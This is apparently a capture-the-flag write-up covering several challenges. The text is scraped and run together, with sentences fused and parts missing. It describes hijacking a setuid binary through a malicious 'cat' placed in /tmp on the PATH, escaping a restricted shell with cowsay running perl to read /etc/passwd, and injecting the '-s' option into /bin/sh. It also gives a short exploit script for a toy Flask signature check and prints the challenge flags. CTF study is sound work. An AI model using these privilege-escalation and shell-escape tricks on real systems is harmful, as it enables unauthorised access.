Hack. Eat. Sleep. Repeat!!!
user:password.C source code and the compiled code belonging to user einstein with suid permissions.cat was not specified.cat file in directory tmp and set the path variable to /tmp.I added a bash code to the malicious catto read the txt files in user
Einstein’s directory.learn binary and got the flag.Hero{th30ry_of_r3l4tiv3_p4th5}/usr/local/rbin.\ was blacklisted.In the binaries’ directories,I discovered a binary cowsay.gtfobins and found that cowsay can run perl code in a file.I used vim to write the code in a file and ran it./etc/passwd file.Hero{s0m3_s4cr3d_c0w}#!/usr/bin/env python3
import os
import subprocess
print("Welcome to the free shell service!")
print("Your goal is to obtain a shell.")
command = ["/bin/sh",input("Choose param: "),os.urandom(32).hex(),os.urandom(32).hex(),os.urandom(32).hex()]
subprocess.run(command)
input() and passes it as an option to binary /bin/sh.This approach won’t allow attackers to end or close statements.Binary sh perceives the value as an attempt to read a file if it is not an option as shown below.Another filter is that we cannot spawn an interactive shell with -i because of the hex values created with os.urandom(32).hex which will only trigger an error.sh documentation for other options that will allow us spawn an interactive shell even if files are passed to it.Then, I spotted the -s option which spawns a shell and read commands from standard input.Hero{533m5_11k3_y0u_f0und_7h3_c0223c7_p424m3732}from flask import Flask, render_template, request, jsonify
import hashlib
import json
from os import getenv
from datetime import datetime
app = Flask(__name__)
FLAG = getenv("FLAG", "Hero{FAKE_FLAG}")
def compute_sha256(data):
sha256_hash = hashlib.sha256()
sha256_hash.update(data.encode("utf-8"))
return sha256_hash.hexdigest()
@app.route("/", methods=["GET"])
def index():
return render_template("index.html")
@app.route("/api/prizes", methods=["POST"])
def claim_prizes():
data = request.json
date_str = data.get("date")
received_signature = request.headers.get("X-Signature")
json_data = json.dumps(data)
expected_signature = compute_sha256(json_data)
if not received_signature == expected_signature:
return jsonify({"error": "Invalid signature"}), 400
if not date_str:
return jsonify({"error": "Date is missing"}), 400
try:
date_obj = datetime.strptime(date_str, "%d/%m/%Y")
if date_obj.year >= 2100:
return jsonify({"message": FLAG}), 200
return jsonify({"error": "Please come back later..."}), 400
except ValueError:
return jsonify({"error": "Invalid date format"}), 400
The main route to query is /api/routes which takes in json data. The key date and header X-SIgnature is grabbed.In order to get the flag, the date value will passed to datetime.strptime function with format %d/%m/%y and the year is grabbed.The value of the year must the more than 2100.Another consideration is that the json data must hashed with sha256 and passed to the X-Signature header.To get the flag,our json data must be equal to our hash which is the signature.
I wrote a script to solve the challenge.
#! /usr/bin/env python3
from ten import *
from tenlib.transform import *
@entry
@arg("host","target host")
class Exploit:
def __init__(self,host: str):
self.host = host
#Hash the data with sha256
@staticmethod
def compute_sha256(data):
hash = hashing.sha256(data)
return hash
def run(self):
session = ScopedSession(self.host)
#A year more than or equal to 2100
date: str = "6/10/2100"
data = {"date":date}
headers = {"Content-Type":"application/json","X-Signature":Exploit.compute_sha256(json.encode(data))}
response = session.post("/api/prizes",headers=headers,data=json.encode(data)).text
print(json.decode(response)["message"])
if __name__ == "__main__":
Exploit()
Hero{PrYzes_4r3_4m4z1ng!!!9371497139}